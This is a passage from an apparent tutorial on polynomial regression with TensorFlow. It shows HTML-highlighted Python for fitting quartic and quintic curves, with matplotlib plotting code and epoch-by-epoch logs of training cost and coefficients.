<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1709199600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">102.31984</span><span class="err"> </span><span class="nc">-112.19895</span><span class="err"> </span><span class="nc">-56.808075</span><span class="err"> </span><span class="nc">733.1876</span><span class="err"> </span><span class="nc">3499.6199</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1678261800.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">104.87324</span><span class="err"> </span><span class="nc">-138.32709</span><span class="err"> </span><span class="nc">-59.9442</span><span class="err"> </span><span class="nc">888.79626</span><span class="err"> </span><span class="nc">4146.2944</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1648340600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">107.23536</span><span class="err"> </span><span class="nc">-163.15173</span><span class="err"> </span><span class="nc">-59.58964</span><span class="err"> </span><span class="nc">1050.524</span><span class="err"> </span><span class="nc">4798.979</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1619243400.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">109.44742</span><span class="err"> </span><span class="nc">-186.9409</span><span class="err"> </span><span class="nc">-56.53944</span><span class="err"> </span><span class="nc">1216.6432</span><span class="err"> </span><span class="nc">5454.9463</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1590821900.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">111.54233</span><span class="err"> </span><span class="nc">-209.91287</span><span class="err"> </span><span class="nc">-51.423084</span><span class="err"> </span><span class="nc">1385.8513</span><span class="err"> </span><span class="nc">6113.5137</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1563042200.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">113.54405</span><span class="err"> </span><span class="nc">-232.21953</span><span class="err"> </span><span class="nc">-44.73371</span><span class="err"> </span><span class="nc">1557.1084</span><span class="err"> </span><span class="nc">6771.7046</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1535855600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">115.471565</span><span class="err"> </span><span class="nc">-253.9838</span><span class="err"> </span><span class="nc">-36.851135</span><span class="err"> </span><span class="nc">1729.535</span><span class="err"> </span><span class="nc">7429.069</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1509255300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">117.33939</span><span class="err"> </span><span class="nc">-275.29697</span><span class="err"> </span><span class="nc">-28.0714</span><span class="err"> </span><span class="nc">1902.5308</span><span class="err"> </span><span class="nc">8083.9634</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1483227000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">119.1605</span><span class="err"> </span><span class="nc">-296.2472</span><span class="err"> </span><span class="nc">-18.618649</span><span class="err"> </span><span class="nc">2075.6094</span><span class="err"> </span><span class="nc">8735.381</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1457726700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">120.94584</span><span class="err"> </span><span class="nc">-316.915</span><span class="err"> </span><span class="nc">-8.650095</span><span class="err"> </span><span class="nc">2248.3247</span><span class="err"> </span><span class="nc">9384.197</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1432777300.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">122.69806</span><span class="err"> </span><span class="nc">-337.30704</span><span class="err"> </span><span class="nc">1.7027153</span><span class="err"> </span><span class="nc">2420.5771</span><span class="err"> </span><span class="nc">10028.871</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1408365000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">124.42179</span><span class="err"> </span><span class="nc">-357.45245</span><span class="err"> </span><span class="nc">12.33499</span><span class="err"> </span><span class="nc">2592.2983</span><span class="err"> </span><span class="nc">10669.157</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1384480000.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">126.12332</span><span class="err"> </span><span class="nc">-377.39734</span><span class="err"> </span><span class="nc">23.168756</span><span class="err"> </span><span class="nc">2763.0933</span><span class="err"> </span><span class="nc">11305.027</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1361116800.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">127.80568</span><span class="err"> </span><span class="nc">-397.16415</span><span class="err"> </span><span class="nc">34.160156</span><span class="err"> </span><span class="nc">2933.0452</span><span class="err"> </span><span class="nc">11935.669</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1338288100.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">129.4674</span><span class="err"> </span><span class="nc">-416.72803</span><span class="err"> </span><span class="nc">45.259155</span><span class="err"> </span><span class="nc">3101.7727</span><span class="err"> </span><span class="nc">12561.179</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1315959700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">131.11403</span><span class="err"> </span><span class="nc">-436.14285</span><span class="err"> </span><span class="nc">56.4436</span><span class="err"> </span><span class="nc">3269.3142</span><span class="err"> </span><span class="nc">13182.058</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1294164700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">132.74377</span><span class="err"> </span><span class="nc">-455.3779</span><span class="err"> </span><span class="nc">67.6757</span><span class="err"> </span><span class="nc">3435.3833</span><span class="err"> </span><span class="nc">13796.807</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1272863600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">134.35779</span><span class="err"> </span><span class="nc">-474.45316</span><span class="err"> </span><span class="nc">78.96117</span><span class="err"> </span><span class="nc">3600.264</span><span class="err"> </span><span class="nc">14406.58</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1252052600.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">135.9583</span><span class="err"> </span><span class="nc">-493.38254</span><span class="err"> </span><span class="nc">90.268616</span><span class="err"> </span><span class="nc">3764.0078</span><span class="err"> </span><span class="nc">15010.481</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1231713700.0</span><span class="err"> </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">137.54753</span><span class="err"> </span><span class="nc">-512.1876</span><span class="err"> </span><span class="nc">101.59372</span><span class="err"> </span><span class="nc">3926.4897</span><span class="err"> </span><span class="nc">15609.368</span>
<span class="nt">1231713700.0</span><span class="na"> 137.54753 -512.1876 101.59372 3926.4897 15609.368</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
<span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient4</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">'ro'</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Original data'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Fitted line'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">'Quartic Regression Result'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/5.png" alt="" /></p>
<h3 id="quintic">Quintic</h3>
<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
<span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
<span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
<span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer5</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
<span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse5</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Epoch"</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">": Training Cost:"</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">" a,b,c,d,e,f:"</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">f</span><span class="p">))</span>
<span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse5</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
<span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
<span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
<span class="n">coefficient4</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>
<span class="n">coefficient5</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1409200100.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">7.949472</span><span class="err"> </span><span class="nc">7.46219</span><span class="err"> </span><span class="nc">55.626034</span><span class="err"> </span><span class="nc">184.29028</span><span class="err"> </span><span class="nc">484.00223</span><span class="err"> </span><span class="nc">1024.0083</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1306882400.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">8.732181</span><span class="err"> </span><span class="nc">-4.0085897</span><span class="err"> </span><span class="nc">73.25298</span><span class="err"> </span><span class="nc">315.90103</span><span class="err"> </span><span class="nc">904.08887</span><span class="err"> </span><span class="nc">2004.9749</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1212606000.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">9.732249</span><span class="err"> </span><span class="nc">-16.90125</span><span class="err"> </span><span class="nc">86.28379</span><span class="err"> </span><span class="nc">437.06552</span><span class="err"> </span><span class="nc">1305.055</span><span class="err"> </span><span class="nc">2966.2188</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1123640400.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">10.74851</span><span class="err"> </span><span class="nc">-29.82692</span><span class="err"> </span><span class="nc">98.59997</span><span class="err"> </span><span class="nc">555.331</span><span class="err"> </span><span class="nc">1698.4631</span><span class="err"> </span><span class="nc">3917.9155</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">1039694300.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">11.75426</span><span class="err"> </span><span class="nc">-42.598194</span><span class="err"> </span><span class="nc">110.698326</span><span class="err"> </span><span class="nc">671.64355</span><span class="err"> </span><span class="nc">2085.5513</span><span class="err"> </span><span class="nc">4860.8535</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">960663550.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">12.745439</span><span class="err"> </span><span class="nc">-55.18337</span><span class="err"> </span><span class="nc">122.644936</span><span class="err"> </span><span class="nc">786.00214</span><span class="err"> </span><span class="nc">2466.1638</span><span class="err"> </span><span class="nc">5794.3735</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">886438340.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">13.721028</span><span class="err"> </span><span class="nc">-67.57168</span><span class="err"> </span><span class="nc">134.43822</span><span class="err"> </span><span class="nc">898.3691</span><span class="err"> </span><span class="nc">2839.9958</span><span class="err"> </span><span class="nc">6717.659</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">816913100.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">14.679965</span><span class="err"> </span><span class="nc">-79.75113</span><span class="err"> </span><span class="nc">146.07385</span><span class="err"> </span><span class="nc">1008.66895</span><span class="err"> </span><span class="nc">3206.6692</span><span class="err"> </span><span class="nc">7629.812</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">751971500.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">15.62181</span><span class="err"> </span><span class="nc">-91.71608</span><span class="err"> </span><span class="nc">157.55713</span><span class="err"> </span><span class="nc">1116.7715</span><span class="err"> </span><span class="nc">3565.8323</span><span class="err"> </span><span class="nc">8529.976</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">691508740.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">16.545347</span><span class="err"> </span><span class="nc">-103.4531</span><span class="err"> </span><span class="nc">168.88321</span><span class="err"> </span><span class="nc">1222.6348</span><span class="err"> </span><span class="nc">3916.9785</span><span class="err"> </span><span class="nc">9416.236</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">635382000.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">17.450052</span><span class="err"> </span><span class="nc">-114.954254</span><span class="err"> </span><span class="nc">180.03932</span><span class="err"> </span><span class="nc">1326.1565</span><span class="err"> </span><span class="nc">4259.842</span><span class="err"> </span><span class="nc">10287.99</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">583477250.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">18.334944</span><span class="err"> </span><span class="nc">-126.20821</span><span class="err"> </span><span class="nc">191.02948</span><span class="err"> </span><span class="nc">1427.2095</span><span class="err"> </span><span class="nc">4593.8</span><span class="err"> </span><span class="nc">11143.449</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">535640400.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">19.198917</span><span class="err"> </span><span class="nc">-137.20206</span><span class="err"> </span><span class="nc">201.84718</span><span class="err"> </span><span class="nc">1525.6926</span><span class="err"> </span><span class="nc">4918.5327</span><span class="err"> </span><span class="nc">11981.633</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">491722240.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">20.041153</span><span class="err"> </span><span class="nc">-147.92719</span><span class="err"> </span><span class="nc">212.49709</span><span class="err"> </span><span class="nc">1621.5496</span><span class="err"> </span><span class="nc">5233.627</span><span class="err"> </span><span class="nc">12800.468</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">451559520.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">20.860966</span><span class="err"> </span><span class="nc">-158.37456</span><span class="err"> </span><span class="nc">222.97133</span><span class="err"> </span><span class="nc">1714.7141</span><span class="err"> </span><span class="nc">5538.676</span><span class="err"> </span><span class="nc">13598.337</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">414988960.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">21.657421</span><span class="err"> </span><span class="nc">-168.53406</span><span class="err"> </span><span class="nc">233.27422</span><span class="err"> </span><span class="nc">1805.0874</span><span class="err"> </span><span class="nc">5833.1978</span><span class="err"> </span><span class="nc">14373.658</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">381837920.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">22.429693</span><span class="err"> </span><span class="nc">-178.39536</span><span class="err"> </span><span class="nc">243.39914</span><span class="err"> </span><span class="nc">1892.5883</span><span class="err"> </span><span class="nc">6116.847</span><span class="err"> </span><span class="nc">15124.394</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">351931300.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">23.176882</span><span class="err"> </span><span class="nc">-187.94789</span><span class="err"> </span><span class="nc">253.3445</span><span class="err"> </span><span class="nc">1977.137</span><span class="err"> </span><span class="nc">6389.117</span><span class="err"> </span><span class="nc">15848.417</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">325074400.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">23.898485</span><span class="err"> </span><span class="nc">-197.18741</span><span class="err"> </span><span class="nc">263.12512</span><span class="err"> </span><span class="nc">2058.6716</span><span class="err"> </span><span class="nc">6649.8037</span><span class="err"> </span><span class="nc">16543.95</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">301073570.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">24.593851</span><span class="err"> </span><span class="nc">-206.10497</span><span class="err"> </span><span class="nc">272.72385</span><span class="err"> </span><span class="nc">2137.1797</span><span class="err"> </span><span class="nc">6898.544</span><span class="err"> </span><span class="nc">17209.367</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">279727000.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">25.262104</span><span class="err"> </span><span class="nc">-214.69217</span><span class="err"> </span><span class="nc">282.14642</span><span class="err"> </span><span class="nc">2212.6372</span><span class="err"> </span><span class="nc">7135.217</span><span class="err"> </span><span class="nc">17842.854</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">260845550.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">25.903376</span><span class="err"> </span><span class="nc">-222.94969</span><span class="err"> </span><span class="nc">291.4003</span><span class="err"> </span><span class="nc">2284.9844</span><span class="err"> </span><span class="nc">7359.4644</span><span class="err"> </span><span class="nc">18442.408</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">244218030.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">26.517094</span><span class="err"> </span><span class="nc">-230.8697</span><span class="err"> </span><span class="nc">300.45532</span><span class="err"> </span><span class="nc">2354.3003</span><span class="err"> </span><span class="nc">7571.261</span><span class="err"> </span><span class="nc">19007.49</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">229660080.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">27.102589</span><span class="err"> </span><span class="nc">-238.44817</span><span class="err"> </span><span class="nc">309.35342</span><span class="err"> </span><span class="nc">2420.4185</span><span class="err"> </span><span class="nc">7770.5728</span><span class="err"> </span><span class="nc">19536.19</span>
